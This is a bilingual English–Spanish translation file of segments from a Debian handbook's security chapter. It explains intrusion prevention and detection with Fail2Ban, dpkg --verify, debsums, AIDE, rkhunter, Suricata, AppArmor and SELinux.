en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
es-ES: <command>mrtg</command> (contenido en el paquete del mismo nombre) es una herramienta más antigua. A pesar de algunas asperezas, puede agrupar datos históricos y mostrarlos como gráficos. Incluye algunos scripts para recolectar los datos monitorizados con más frecuencia como la carga de procesador, el tráfico de red, el número de impresiones de una página web, etc.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
es-ES: Los paquetes <emphasis role="pkg">mrtg-contrib</emphasis> y <emphasis role="pkg">mrtgutils</emphasis> contienen scripts de ejemplo que puede utilizar directamente.

en: Avoiding Intrusion
es-ES: Evitando los Intrusos

en: <primary>intrusion detection</primary>
es-ES: <primary>detección de intrusiones</primary>

en: <filename>fail2ban.conf</filename>. Global configuration (such as logging).
es-ES: <filename>fail2ban.conf</filename>. Configuración global (cosas como registros).

en: <filename>filter.d/*.conf</filename>. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.
es-ES: <filename>filter.d/*.conf</filename>. Filtros que especifican cómo detectar fallos de autentificación. El paquete de Debian ya contiene filtros para muchos programas comunes.

en: <filename>jail.conf</filename>. It is where <emphasis>jails</emphasis>, the combinations of filters and actions, are defined.
es-ES: <filename>jail.conf</filename>. Es donde los <emphasis>jails</emphasis>, las combinaciones de filtros y acciones, se definen.

en: Let us have a look at the configuration of <command>sshd</command> in <filename>/etc/fail2ban/jail.conf</filename> to better understand how Fail2Ban works...
es-ES: Echémosle un vistazo a la configuración de <command>sshd</command> en <filename>/etc/fail2ban/jail.conf</filename> para comprender mejor cómo funciona Fail2Ban...

en: Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.
es-ES: Fail2Ban es una manera muy simple y efectiva de protegerse contra los ataques de fuerza bruta más comunes, pero no puede proteger contra ataques de fuerza bruta distribuidos, que es cuando un atacante usa un gran número de máquinas distribuidas por todo Internet.

en: A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.
es-ES: Una buena forma de proporcionar protección adicional contra ataques distribuidos de fuerza bruta es aumentar artificialmente el tiempo de inicio de sesión después de cada intento fallido.

en: Detecting Changes
es-ES: Detección de cambios

en: Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).
es-ES: Una vez que el sistema está instalado y configurado, dejando al margen las actualizaciones de seguridad, normalmente no hay razón para que los archivos y directorios cambien con excepción de los datos. Por lo tanto, es interesante asegurarse que efectivamente los archivos no cambian: debería investigar cualquier cambio inesperado. Esta sección presenta algunas herramientas capaces de monitorizar archivos y advertir al administrador en caso de que se produzca algún cambio inesperado (o simplemente enumerar estos cambios).

en: Auditing Packages with <command>dpkg --verify</command>
es-ES: Auditoría de paquetes mediante <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
es-ES: <emphasis>YENDO MÁS ALLÁ</emphasis> Protección contra los cambios de los desarrolladores originales

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
es-ES: <command>dpkg --verify</command> (o <command>dpkg -V</command>) es una orden interesante, puesto que permite averiguar qué archivos han sido modificados (potencialmente por un atacante). Sin embargo esta información se tiene que tomar con precaución. Para hacer su trabajo, dpkg utiliza las sumas de verificación (checksums) almacenadas en el disco duro (se pueden encontrar en <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); un atacante minucioso podría actualizar estos archivos de forma que contengan las nuevas sumas de verificación de los archivos modificados.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
es-ES: <emphasis>VOLVER A LOS CIMIENTOS</emphasis> Huella digital de un archivo

en: <primary>fingerprint</primary>
es-ES: <primary>huella digital</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
es-ES: Le comando <command>dpkg -V</command> comprueba todos los paquetes instalados e imprime una línea por cada archivo en el que falle el test de integridad. El formato de salida es el mismo que el del comando <command>rpm -V</command>, conde cada carácter corresponde a una comprobación sobre un metadato específico. Desgraciadamente <command>dpkg</command> no almacena todos los metadatos requeridos para todas las comprobaciones, y por lo tanto imprimirá signos de interrogación para la mayor parte de los mismos. En la actualidad únicamente el test de suma de verificación podría impirmir un « 5 » (en la tercera columna) en caso de no pasar la comprobación.

en: Auditing Packages: <command>debsums</command> and its Limits
es-ES: Auditoría de paquetes: <command>debsums</command> y sus límites

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
es-ES: Como no es posible confiar en los archivos almacenadados en el disco, <command>debsums</command> permite efectuar sus comprobaciones a partir de los archivos <filename>.deb</filename> además de a partir de la base de datos de dpkg. Para descargar los archivos <filename>.deb</filename> confiables de todos los paquetes instalados, se pueden utilizar las descargas autenticadas de APT. Lo malo es que esta operación puede ser lenta y tediosa y, por lo tanto, no debe considerarse como una técnica proactiva a utilizar de forma regular.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
es-ES: Sepa que este ejemplo utiliza el programa <command>grep-status</command> del paquete <emphasis role="pkg">dctrl-tools</emphasis> que no se instala de forma predeterminada.

en: Monitoring Files: AIDE
es-ES: Monitorización de archivos: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
es-ES: La herramienta AIDE (<emphasis>entorno avanzado de detección de intrusión</emphasis>: «Advanced Intrusion Detection Environment») permite comprobar la integridad de los archivos y detectar cualquier cambio frente a una imagen guardada previamente del sistema válido. Se almacena esta imagen como una base de datos (<filename>/var/lib/aide/aide.db</filename>) que contiene la información relevante de todos los archivos del sistema (huella digital, permisos, marcas temporales, etc.). Se inicializa esta base de datos con <command>aideinit</command>; luego se la utiliza diariamente (por el script <filename>/etc/cron.daily/aide</filename>) para comprobar que nada importante haya cambiado. Cuando se detectan cambios, AIDE los almacena en archivos de registro (<filename>/var/log/aide/*.log</filename>) y envía lo encontrado en un email al administrador.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
es-ES: <emphasis>EN LA PRÁCTICA</emphasis> Protección de la base de datos

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
es-ES: Debido a que AIDE utiliza una base de datos local para comparar el estado de los archivos, la validez de sus resultados está asociada directamente a la validez de la base de datos. Si un atacante consigue obtener permisos de administrador en un sistema comprometido, podrá reemplazar la base de datos y cubrir sus huellas. Una posible solución podría ser almacenar la base de datos de referencia en un medio de almacenamiento de sólo lectura.

en: Many options in <filename>/etc/default/aide</filename> can be used to tweak the behavior of the <emphasis role="pkg">aide</emphasis> package. The AIDE configuration proper is stored in <filename>/etc/aide/aide.conf</filename> and <filename>/etc/aide/aide.conf.d/</filename> (actually, these files are only used by <command>update-aide.conf</command> to generate <filename>/var/lib/aide/aide.conf.autogenerated</filename>). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry> manual page is therefore recommended.
es-ES: Puede utilizar numerosas opciones en el archivo <filename>/etc/default/aide</filename> para configurar el comportamiento del paquete <emphasis role="pkg">aide</emphasis>. Se almacena la configuración de AIDE en sí en <filename>/etc/aide/aide.conf</filename> y <filename>/etc/aide/aide.conf.d/</filename> (de hecho, sólo <command>update-aide.conf</command> utiliza estos archivos para generar <filename>/var/lib/aide/aide.conf.autogenerated</filename>). La configuración indica qué propiedades se deben comprobar. Por ejemplo, el contenidos de los archivos de registro cambia continuamente, y se puede ignorar estos cambios mientras que los permisos de los archivos permanezcan inalterados, pero tanto el contenido como los permisos de los programas ejecutables debe permanecer constante. Aunque no es excesivamente compleja, la sintaxis de la configuración no es del todo intuitiva y, por lo tanto, recomendamos leer su página de manual <citerefentry><refentrytitle>aide.conf</refentrytitle> <manvolnum>5</manvolnum></citerefentry>.

en: A new version of the database is generated daily in <filename>/var/lib/aide/aide.db.new</filename>; if all recorded changes were legitimate, it can be used to replace the reference database.
es-ES: Cada día se genera una nueva versión de la base de datos en <filename>/var/lib/aide/aide.db.new</filename>; si todos los cambios registrados son legítimos, puede utilizarla para reemplazar la base de datos de referencia.

en: <emphasis>ALTERNATIVE</emphasis> Tripwire and Samhain
es-ES: <emphasis>ALTERNATIVA</emphasis> Tripwire y Samhain

en: Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by <emphasis role="pkg">tripwire</emphasis> is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database.
es-ES: Tripwire es muy similar a AIDE; incluso la sintaxis del archivo de configuración es prácticamente la misma. La ventaja principal de <emphasis role="pkg">tripwire</emphasis> es un mecanismo para firmar el archivo de configuración, de forma que un atacante no pueda hacer que apunte a una versión diferente de la base de datos de referencia.

en: Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). It can also be deployed globally on a network, and record its traces on a central server (with a signature).
es-ES: Samhain también ofrece características similares, así como algunas funciones para ayudar a detectar «rootkits» (revise el recuadro <xref linkend="sidebar.the-checksecurity-and-chkrootkit-rkhunter-packages" />). También puede desplegarlo de forma global en una red y guardar sus trazas en un servidor central (con su firma correspondiente).

en: <emphasis>QUICK LOOK</emphasis> The <emphasis role="pkg">checksecurity</emphasis> and <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis> packages
es-ES: <emphasis>VISTA RÁPIDO</emphasis> Los paquetes <emphasis role="pkg">checksecurity</emphasis> y <emphasis role="pkg">chkrootkit</emphasis>/<emphasis role="pkg">rkhunter</emphasis>

en: The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure.
es-ES: El primero de estos paquetes contiene varios scripts pequeños que realizan comprobaciones básicas en el sistema (contraseñas vacías, nuevos archivos setuid, etc.) y advierten al administrador si fuese necesario. A pesar de su nombre explícito, un administrador no debería confiar exclusivamente en él para asegurarse que un sistema Linux es seguro.

en: The <emphasis role="pkg">chkrootkit</emphasis> and <emphasis role="pkg">rkhunter</emphasis> packages allow looking for <emphasis>rootkits</emphasis> potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems.
es-ES: Los paquetes <emphasis role="pkg">chkrootkit</emphasis> y <emphasis role="pkg">rkhunter</emphasis> permiten buscar posibles «<emphasis>rootkits</emphasis>» instalados en el sistema. Como recordatorio, estos son programas designados para ocultar que se ha comprometido el sistema a la vez que se mantiene el control de la máquina. Las comprobaciones no son 100% confiables, pero generalmente pueden guiar la atención del administrador a problemas potenciales.

en: <emphasis role="pkg">rkhunter</emphasis> also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.
es-ES: <emphasis role="pkg">rkhunter</emphasis> también realiza comprobaciones para ver si las órdenes se han modificado, si los archivos de inicio del sistema se han modificado y varias comprobaciones en las interfaces de red, incluyendo pruebas para aplicaciones en escucha.

en: Detecting Intrusion (IDS/NIDS)
es-ES: Detección de intrusiones (IDS/NIDS)

en: <emphasis>BACK TO BASICS</emphasis> Denial of service
es-ES: <emphasis>VOLVER A LOS CIMIENTOS</emphasis> Denegación de servicio

en: A “denial of service” attack has only one goal: to make a service unavailable. Whether such an attack involves overloading the server with queries or exploiting a bug, the end result is the same: the service is no longer operational. Regular users are unhappy, and the entity hosting the targeted network service suffers a loss in reputation (and possibly in revenue, for instance if the service was an e-commerce site).
es-ES: Un ataque de «denegación de servicio» tiene una única finalidad: hacer que un servicio no esté disponible. El resultado es el mismo independientemente de si el ataque implica sobrecargar al servidor mediante consultas o si se aprovecha algún fallo: el servicio deja de estar operativo. Los usuarios habituales no estarán contentos y la entidad que alberga la red a la que se dirige el ataque sufre una pérdida de reputación (y posiblemente también de ingresos, por ejemplo si el servicio es un sitio de comercio electrónico).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
es-ES: Algunas veces estos ataques son «distribuidos»; esto implica habitualmente sobrecargar al servidor con una gran cantidad de consultas provenientes de diferentes fuentes para que el servidor no sea capaz de atender las consultas legítimas. Este tipo de ataques se han hecho merecedores de dos acrónimos muy conocidos: <acronym>DoS</acronym> (denegación de servicio: «Denial of Service») y <acronym>DDoS</acronym> (denegación de servicio distribuido: «Distributed Denial of Service») según si el ataque es distribuido o no.

en: <emphasis>CAUTION</emphasis> Range of action
es-ES: <emphasis>PRECAUCIÓN</emphasis> Rango de acción

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
es-ES: La efectividad de <command>suricata</command> está limitada por el tráfico que ve en la interfaz de red monitorizada. Obviamente no podrá detectar nada si no puede observar el tráfico real. Cuando se encuentra conectado a un switch de red sólo monitorizará los ataques que tengan como objetivo a la máquina en la que está ejecutándose, lo que probablemente no sea la intención. Por lo tanto, la máquina que ejecute <command>suricata</command> debería conectarse a un puerto «espejo» del switch, que habitualmente se utiliza para encadenar switches y, por lo tanto, obtiene todo el tráfico.

en: To detect bad behavior, <command>suricata</command> needs a set of monitoring rules: you can find such rules in the <emphasis role="pkg">snort-rules-default</emphasis> package. <command>snort</command> is the historical reference in the IDS ecosystem and <command>suricata</command> is able to reuse rules written for it.
es-ES: Para detectar un funcionamiento malicioso, <command>suricata</command> necesita un conjunto de reglas de supervisión: puede encontrar esas reglas en el paquete <emphasis role="pkg">snort-rules-default</emphasis>. <command>snort</command> es la referencia dentro del ecosistema de IDSs, y <command>suricata</command> puede reutilizar las reglas escritas para este programa.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
es-ES: <emphasis>YENDO MÁS ALLÁ</emphasis> Integración con <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
es-ES: Prelude permite la monitorización centralizada de la información de seguridad. Su arquitectura modular incluye un servidor (el <emphasis>gestor</emphasis>, en el paquete <emphasis role="pkg">prelude-manager</emphasis>), que recoge las alertas generadas por los <emphasis>sensores</emphasis> de diferentes tipos.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
es-ES: Puede configurar Suricata como uno de estos sensores. Otra posibilidad es <emphasis>prelude-lml</emphasis> (<emphasis>lacayo de monitorización de registros</emphasis>: «Log Monitor Lackey»), que monitoriza los archivos de registro (de forma similar a como lo hace <command>logcheck</command>, descripto en la <xref linkend="sect.logcheck" />).

en: Introduction to AppArmor
es-ES: Introducción a AppArmor

en: Principles
es-ES: Principios

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
es-ES: Apparmor es un sistema de <emphasis>control obligatorio de acceso</emphasis> («Mandatory Access Control» o «MAC») basado en la interfaz LSM (<emphasis>módulos de seguridad de Linux</emphasis>: «Linux Security Modules»). En la práctica, el núcleo pregunta a AppArmor antes de cada llamada del sistema para saber si un proceso está autorizado a realizar dicha operación. A través de este mecanismo, Apparmor confina un programa a un conjunto limitado de recursos.

en: AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in <xref linkend="sect.selinux" />), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).
es-ES: AppArmor aplica un conjunto de reglas (un «perfil») a cada programa. El perfil aplicado por el núcleo depende de la ruta de instalación del programa a ejecutar. Al contrario que en SELinux (descrito en <xref linkend="sect.selinux" />), las reglas que se aplican no dependen del usuario: a todos los usuarios se les aplica el mismo juego de reglas cuando ejecutan el mismo programa (aunque en cualquier caso siguen teniéndose en cuenta los permisos de usuario tradicionales, lo que puede resultar en un comportamiento distinto).

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
es-ES: Los perfiles de AppArmor se guardan en <filename>/etc/apparmor.d/</filename> y contienen una lista de reglas de control de acceso sobre los recursos que puede utilizar cada programa. Los perfiles se compilan y son cargados por el núcleo por la orden <command>apparmor_parser</command>. Cada perfil se puede cargar bien en modo estrícto (<foreignphrase>enforcing</foreignphrase>) o bien en modo relajado (<foreignphrase>complaining</foreignphrase>). El modo estricto aplica las reglas y registra las tentativas de violación, mientras que en el modo relajado sólo se registran las llamadas al sistema que hubieran sido bloqueadas, pero no se bloquean realmente.

en: Enabling AppArmor and managing AppArmor profiles
es-ES: Activar AppArmour y gestionar los perfiles

en: AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing <command>apt install apparmor apparmor-profiles apparmor-utils</command> with root privileges.
es-ES: El soporte de AppArmor está ya integrado en los núcleos estándares proporcionados por Debian. Para activar AppArmor basta con instalar algunos paquetes ejecutando <command>apt install apparmor apparmor-profiles apparmor-utils</command> con privilegios de superusuario.

en: AppArmor is functional after the installation, and <command>aa-status</command> will confirm it quickly:
es-ES: Después de la instalación AppArmor estará operativo, y <command>aa-status</command> lo confirmará rápidamente:

en: <emphasis>NOTE</emphasis> More AppArmor profiles
es-ES: <emphasis>NOTA</emphasis> Otros perfiles de AppArmor

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
es-ES: El paquete <emphasis role="pkg">apparmor-profiles</emphasis> contiene perfiles desarrollados por la comunidad de origen de AppArmor. Para obtener más perfiles es posible instalar <emphasis role="pkg">apparmor-profiles-extra</emphasis>, que contiene perfiles adicionales desarrollados por Ubuntu y Debian.

en: The state of each profile can be switched between enforcing and complaining with calls to <command>aa-enforce</command> and <command>aa-complain</command> giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with <command>aa-disable</command> or put in audit mode (to log accepted system calls too) with <command>aa-audit</command>.
es-ES: El estado de cada perfil se puede cambair entre los modos estricto y relajado mediante las órdenes <command>aa-enforce</command> y <command>aa-complain</command>, pasándoles como parámetro bien la ruta del ejecutable o la ruta del archivo de perfil. De igual manera se puede desactivar completamente un perfil mediante <command>aa-disable</command>, o establecerlo en el modo de auditoría (de forma que registre incluso las llamadas del sistema aceptadas) mediante <command>aa-audit</command>.

en: Creating a new profile
es-ES: Creación de un nuevo perfil

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
es-ES: A pesar de que crear un perfil AppArmor es bastante sencillo, la mayoría de los programas no disponen de uno. Esta sección muestra cómo crear un nuevo perfil desde cero, símplemente utilizando el programa deseado y dejando que AppArmor monitorice las llamadas al sistema que realiza y los recursos a los que accede.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
es-ES: Los programas que deben ser confinados de forma prioritaria son aquellos expuestos a la red, puesto que estos serán los blancos más probables para atacantes remotos. Precisamente por eso AppArmor proporciona la orden <command>aa-unconfined</command>, que lista los programas que exponen al menos un zócalo de red (NT: ¿mejor puerto de red?) sin tener ningún perfil asociado. Con la opción <literal>--paranoid</literal> se obtienen todos los procesos que tienen activa al menos una conexión de red y no están confinados.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
es-ES: El primer evento detectado es la ejecución de otro programa. En este caso se ofrecen varias opciones: puede lanzar el programa con el perfil del programa padre (“Inherit”), con un perfil dedicado (“Profile” o “Name”, que sólo se diferencian por la posibilidad de elegir un nombre de perfil arbitrario), con un sub-perfil del proceso padre (“Child”), o bien puede lanzar sin nigún perfil (“Unconfined”). También puede impedir que el programa se ejecute (“Deny”).

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
es-ES: Cuando se elije lanzar el proceso hijo con un perfil de dedicado que no exista aún, la herramienta creará el perfil que falta y propondrá sugerencias de reglas en la misma sesión de trabajo.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
es-ES: A nivel del núcelo, los permisos especiales del usuario root se han separado en "capacidades" («capabilities»). Cuando una llamada del sistema requiere una capacidad específica, AppArmor verifica que el perfil permite al programa utilizar esta capacidad.

en: Here the program seeks read permissions for <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include &lt;abstractions/openssl&gt;” choice and then “A” to allow it.
es-ES: Aquí el programa requiere el permiso de lectura sobre el archivo <filename>/etc/ssl/openssl.cnf</filename>. <command>aa-genprof</command> ha detectado que este permiso ya se había concedido por varias «abstracciones» y las ofrece como alternativas posibles. Una abstracción proporciona un conjunto reutilizable de reglas de control de acceso, agrupando reglas que duelen utilizarse conjuntamente. En este caso específico el archivo se utiliza normalmente por las funciones relativas a la resolución de nombres de la biblioteca estándar C, y por lo tanto elegimos la opcion «2» para incluir la opción «#include &lt;abstractions/openssl&gt; » y después «A» para autorizarlo.

en: Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/sbin/dhclient-script</filename> to run with its own profile.
es-ES: Hay que tener en cuenta que este intento de acceso no forma parte del perfil dhclient, sino del nuevo perfil que hemos creado cuando hemos autorizado a <filename>/usr/sbin/dhclient-script</filename> para que funcione bajo el suyo propio.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
es-ES: Después de examinar todos los eventos registrados, el programa propone guardar todos los perfiles que se han creado durante la ejecución. En este caso tenemos dos perfiles que guardamos simultáneamente mediante «Save» antes de cerrar el programa con «Finish» (pero podríamos igualmente haberlos guardados individualmente).

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
es-ES: <command>aa-genprof</command> no es sino un pequeño script inteligente que utiliza <command>aa-logprof</command>: crea un perfil vacío, lo carga en modo relajado y después ejecuta <command>aa-logprof</command>. Esta última es una utilidad que actualiza un perfil en función de las violaciones que han sido registradas. Por lo tanto se puede volver a ejecutar esta herramienta para mejorar el perfil que se ha creado.

en: Introduction to SELinux
es-ES: Introducción a SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
es-ES: SELinux (<emphasis>Linux con seguridad mejorada</emphasis>: «Security Enhanced Linux») es un sistema de <emphasis>control obligatorio de acceso</emphasis> («Mandatory Access Control») basado en la interfaz LSM (<emphasis>módulos de seguridad de Linux</emphasis>: «Linux Security Modules»). En la práctica, el núcleo pregunta a SELinux antes de cada llamada al sistema para saber si un proceso está autorizado a realizar dicha operación.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
es-ES: SELinux utiliza una serie de reglas — conocidas en conjunto como una <emphasis>política</emphasis> («policy») — para autorizar o denegar operaciones. Estas reglas son difíciles de crear. Afortunadamente se proporcionan dos políticas estándar (<emphasis>targeted</emphasis>, dirigida, y <emphasis>strict</emphasis>, estricta) para evitar gran parte del trabajo de configuración.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
es-ES: Con SELinux, la gestión de permisos es completamente distinta a la de los sistemas Unix tradicionales. Los permisos de un proceso dependen de su <emphasis>contexto de seguridad</emphasis>. El contexto está definido por la <emphasis>identidad</emphasis> del usuario que lanza el proceso y el <emphasis>rol</emphasis> y el <emphasis>dominio</emphasis> que el usuario tenía en ese momento. Los permisos realmente dependen del dominio, pero los roles controlan la transición entre dominios. Por último, las transiciones posibles entre roles dependen de la identidad.

en: Security contexts and Unix users
es-ES: Contextos de seguridad y usuarios Unix

en: In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there is usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.
es-ES: En la práctica, a un usuario se le asigna un contexto de seguridad predeterminado al iniciar sesión (dependiendo de los roles que pueda adoptar). Esto define el dominio actual y, por lo tanto, el dominio de todos los procesos hijos que lance. Si desea cambiar el rol actual y su dominio asociado, debe ejecutar <command>newrole -r <replaceable>rol_r</replaceable> -t <replaceable>dominio_t</replaceable></command> (habitualmente se permite un único dominio para un rol determinado por lo que puede omitir el parámetro <literal>-t</literal>). Este programa lo autenticará pidiéndole que ingrese su contraseña. Esta característica impide que los programas cambien de rol de forma automática. Estos cambios sólo pueden ocurrir si se permiten explícitamente en la política de seguridad de SELinux.

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
es-ES: Obviamente los permisos no se aplican a todos los <emphasis>objetos</emphasis> (archivos, directorios, zócalos, dispositivos, etc.). Pueden variar de objeto a objeto. Para conseguir esto, cada objeto está asociado a un <emphasis>tipo</emphasis> (esta operación se conoce como etiquetado). Por ello se expresan los permisos de los dominios como conjuntos de operaciones permitidas o denegadas sobre estos tipos (e indirectamente sobre todos los objetos que estan etiquetados con dicho tipo).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
es-ES: <emphasis>EXTRA</emphasis> Los dominios y los tipos son equivalentes

